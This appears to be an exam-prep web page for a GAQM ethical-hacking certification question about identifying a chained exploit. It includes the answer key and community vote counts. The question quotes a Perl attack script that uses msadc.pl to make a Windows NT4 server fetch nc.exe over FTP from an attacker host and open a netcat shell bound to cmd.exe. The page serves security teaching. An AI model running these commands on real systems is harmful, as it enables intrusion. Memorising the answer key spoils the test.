nerdexam
GAQM

CPEH-001 · Question #303

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On…

The correct answer is B. A chained exploit. See the full explanation below for the reasoning.

Question

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:

system("perl msadc.pl -h $host -C "echo open $your >testfile""); system("perl msadc.pl -h $host -C "echo $user>>testfile""); system("perl msadc.pl -h $host -C "echo $pass>>testfile""); system("perl msadc.pl -h $host -C "echo bin>>testfile""); system("perl msadc.pl -h $host -C "echo get nc.exe>>testfile""); system("perl msadc.pl -h $host -C "echo get hacked.html>>testfile""); ("perl msadc.pl -h $host -C "echo quit>>testfile""); system("perl msadc.pl -h $host -C "ftp -s:testfile""); $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); Which exploit is indicated by this script?

Options

  • AA buffer overflow exploit
  • BA chained exploit
  • CA SQL injection exploit
  • DA denial of service exploit

How the community answered

(43 responses)
  • A
    2% (1)
  • B
    84% (36)
  • C
    9% (4)
  • D
    5% (2)

Community Discussion

No community discussion yet for this question.

Full CPEH-001 Practice